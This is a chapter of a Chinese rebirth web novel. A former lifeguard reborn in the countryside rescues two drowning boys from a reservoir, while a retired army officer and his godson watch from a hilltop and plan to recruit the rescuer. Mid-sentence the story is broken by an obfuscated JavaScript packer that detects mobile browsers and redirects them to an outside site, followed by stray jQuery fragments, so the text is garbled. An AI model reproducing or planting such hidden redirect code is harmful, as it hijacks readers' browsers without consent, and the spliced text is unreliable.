“救命——救命啊——”
凄厉的呼救声刺破水面,卫南亭心头猛地一缩。
这声音像一把尖刀,切开她脑中深处的记忆。
上一世,也是这样的夏日午后,也是这片泛着冷光的水库。
那时她离水库很远,也没有人让她注意孩子。当她听到有哭喊声,等气喘吁吁跑到岸边,水面早已恢复平静,只余下两只漂浮的尸体。
其实,那个时候即便她能及时赶到水库,但以她那点三脚猫的游泳功夫,恐怕也只会在岸边徒劳地跺脚。
“去拿我赶鸭子的长竹竿!快!”她边喊边往水库冲,草鞋踩在泥地上溅起串串水花。
她身后的孩童们慌慌张张地奔向不远处放杆子的河边。
水库边的热风扑在脸上,灼人。
那个提议游泳的大男孩鲁壮壮正攥着衣服往岸上退,被卫南亭一把攥住胳膊。
鲁壮壮手腕抖得停不下,嘴唇发紫:“里面是……是鹏鹏……强强……”
果然是他们。
卫南亭胸口剧烈起伏,捏紧拳头,拼命压抑心中的惊骇。
她怎能不惊?
前世那两张躺在草席上的小脸在眼前复现。
苍白弱小。
“我腿突然抽筋,强强来拉我……也被拖下去了……”鲁壮壮的声音颤动,牙齿咯咯打颤。
卫南亭凝视着水面,深深地吸一口气。
她曾当过三年救生员,不是为了什么高尚理想,单纯是冲着高薪去的。
现在,那些刻在灵魂里,那些急救动作,那些判断水流与体力的经验,她此刻全部记起。
只是眼下的境况比游泳池边危险得多。泳池里的救生圈、浮板,这里全然没有。脚下这十米深的水库,比标准深水区要深上数倍,暗涌还在水面下打着旋。
她眯眼看向湖心,两个小小的脑袋正在浪里沉浮,那是两个鲜活的生命啊!
每一秒的耽搁都可能酿成永恒的遗憾,她咬了咬牙:没有工具,就只能赌命。
自己的一条命如果能换两条命,那也值当了。只求下一世,老天奶给她个金手指吧。
她一个孤零零无人爱的人,要有点理想,实现起来真的是太难了。
“扑通”一声巨响,岸上的男孩子们还没反应过来,卫南亭已经踢掉草鞋,勇猛地扎入水里。
冰凉的湖水瞬间裹住她,她奋力划水,眼角余光瞥见其中一个脑袋猛地往下一沉,彻底没了踪影。
“强强!”她在心里嘶吼,手臂划水的频率陡然加快。
到了强强所在的那片水域,卫南亭深吸一口气,将整个头再埋进水里。
幸好当年考救生证时闭气训练没偷懒,她水下闭气的时间是五分钟。
应该够。
岸上的男孩子们多少颗眼珠子瞪得圆圆的死死盯着水面,鲁壮壮此刻脸色惨白。
卫南亭的身影在水下消失了太久,久到有人受不住担忧,开始抽噎:“她、她不会也……”
话没说完就被同伴捂住嘴,可眼里的恐惧遮不住,若是三条人命折在这里,爹娘的巴掌是轻的,他们这辈子都别想摆脱这噩梦了。
就在这时,水面“哗啦”冒出个头,卫南亭托着鹏鹏的后颈浮出水面。小男孩双目紧闭,嘴唇乌青,卫南亭腾出一只手抹掉脸上的水:“竹竿!快递过来!”
她用膝盖顶住鹏鹏的腰,保持着仰漂的姿势,眼角瞥见不远处的强强正四肢乱舞,动作越来越慢。
“下来个人接她!”卫南亭朝岸上吼,声音因急促的呼吸发颤。
鲁壮壮咬着牙,丢了衣服,“噗通”跳进水里。卫南亭小心地将鹏鹏移交过去,转身时看见强强的脑袋又往下沉了沉,只剩手臂在水面乱挥。
她像旗鱼一般游过去,刚抓住男孩的胳膊,就被他像抓住,他像抓住救命稻草似的死死缠住她。
这是濒死者的本能,他的手指抠进她的皮肉,双腿缠上她的身躯,卫南亭瞬间被拖得呛了口水,水腥味刺得鼻腔难受。
更糟的是,脚腕突然动不了。卫南亭心里咯噔一下:这水里该不会真有水鬼吧?
难道重活一世,还没来得及实现暴富的梦想,就要栽在这水库里?不甘心!强烈的求生欲让她猛地冷静下来,她屏住呼吸,朝水里看去。
是水草!藤蔓缠着她得腿了,长长的水草像无数只冰冷的手,将她得腿抓得牢牢的。
顺着水草缠绕的方向轻轻摆动脚踝,一点点往反方向褪。藤蔓的阻力渐渐变小,终于“嘶”的一声挣脱开,脚踝却已被划出道道血痕。
怀里的强强不知何时松了些力气,卫南亭趁机调整姿势,用尽全力踩水。胳膊酸得像要断掉,腿像灌了铅,可意志力像根绷紧的弦,不能停!
当两人的脑袋终于再次露出水面时,一根长竹竿恰好递到眼前。卫南亭一手死死扣住强强的腋下,一手攥住竹竿,岸上的孩子们憋足了劲往后拽。
可危机还没结束。躺在岸边的两个孩子依旧双目紧闭,胸口没有起伏。卫南亭走到两人旁边,低头看见自己的小脚趾上套着个什么东西,像指环。来不及清理,大口喘了几口气,她观察着那两张小脸,心里只有一个念头:千万要活着啊。
卫南亭不知道,在离她两公里远的地方,有人正在看向此处。
山风掠过树梢,吹得军用望远镜的支架微微晃动。李□□调整焦距,将水库处的混乱场景拉近到眼前,他浓黑的眉毛突然拧成一团。
"出事了!"他低吼一声,右手下意识拍在身旁少年的肩膀上。
许明起凑到副镜前。
"看那边!"李□□的食指在目镜旁绷得笔直,"有两个孩子落水了!"
水库上方,两个个小黑点时隐时现。李□□的拇指飞快转动调焦轮,心跳随着水流的节奏加速。
“不行,我得过去。”
离开望远镜,李□□作势要去救人,被许明起拉住了手臂。
许明起神色平静地朝他摇摇头。
李□□心里也清楚,此处距离水库两千米,直线距离两千米,有一半是山路,他能在30分钟赶过去,就算快的了。
30分钟,水库里的两个人恐怕连五分钟都等不了。
"该死!"李□□的手重重捶在水泥观察台上。
许明起依旧通过望远镜观察,很快,他将李□□拉到镜头前。
镜筒里突然闯入一道黑色身影。那是个短发少年,他蹬掉了脚上的鞋,毫不犹豫地跳进了深深的水库。
"好孩子!"
李□□不自觉地挥了下捏紧的拳头,军装肩章上的星星在阳光下闪闪发亮。
望远镜里,那个勇猛少年在水中沉浮,前后救出了两个小男孩。
"漂亮!"李□□激动得差点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536051|186557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跳起来,"这水性!这判断力!"
更让他惊讶的是,那少年上岸后立即开始有条不紊地施救。他单膝跪地,将孩子腹部横放在自己大腿上,有节奏地按压背部。浑浊的河水从孩子口鼻中喷出,接着是撕心裂肺的哭声。
"啧,还懂得急救方法。"李□□的眼睛亮了起来,转头对少年说,"这样的好苗子,该特招到部队卫生队去。"
许明起黑色眸子依旧平静。
李□□:"会不会是是公社卫生所的...不像啊,公社卫生所能培养出这种素质?这心理素质,这技术动作,绝对是受过专业训练的!"
他继续追踪望远镜里的身影。
有人围了上去,打扮像当地村民,有个消瘦的妇女跪在地上直磕头。
"啧啧,两条生命啊。"李□□感慨地摇头,"这么远的距离我们赶不过去,但他能这么冷静果断,超过了很多军人。"
他恋恋不舍地移开望远镜,喃喃自语:“一定要招到部队上去。”
他越说越大声。
"能在那么深的水中连救两人,懂得标准急救程序,能救多少人啊,这、这放在哪个部队都是尖子!"
他越说越激动。
"这样的好苗子不能被埋没!"
"干爹!"许明起正对着李□□,平静的黑眸下是平静,"不能搞特殊。"
李□□是抗美援朝退下来的军人,因为许明起碰巧救过他家老人一次,无儿无女的李□□在一番考察后,又经过许明起和他家人的同意,收了他做干儿子。
"放...胡说什么!"李□□差点又爆粗口,硬生生改了口,"我这是替部队招揽人才。"他用力拍打干儿子的后背,"看到没有?人才,这是人才!"
父子俩对峙着,山风卷起许明起的确良衬衫下摆。最终,李□□别过脸去:"哼,你就是和那些人一伙的。想当年,哪里会这样那样乱七八糟的考核,只要……"
“不是。”
"哼,坐下!"李□□一声厉喝,周围的空气似乎都凝固了。他深吸一口气,压低声音:"老子的话就是命令。你听也得听,不听也得听。"
片刻后。
李□□突然笑了,露出一口白牙:"你不服不行啊。要不,你下辈子当当我的老子试试?"
他其实知道,这种特招,多少是有违新规的。自己是好意,为部队收录人才。可总有人眼红,说他以权谋私。他明白儿子是担心,又有人去举报,给他难堪。
人老了,那些不听话的龟儿子不好压制了啊!
许明起起身,重新举起望远镜,寻找那个黑色身影。可惜人已经进了村子,消失在低矮的农舍之间。
李□□从口袋里掏出小本子,记下今天的日期和大概位置。作为某军区某团的参谋长,他要好好和这个少年谈谈。
再看许明起,他站得笔直,像旁边的松树一样挺拔。
"喂!臭小子!"李□□大声说,"赶紧下山,和我出来这么久了,明天赶紧上学去。"
许明起抬头,看见干爹正扶正军帽。阳光从他背后照过来,给整个人镀上一层金边。
这是一个让他骄傲的军人父亲。
“干爹,我后天去学校,等周末我去打听下少年的事情,问他愿不愿意进部队。”
那少年,即便不能入部队,他也要尽可能地去为干爹收拢他。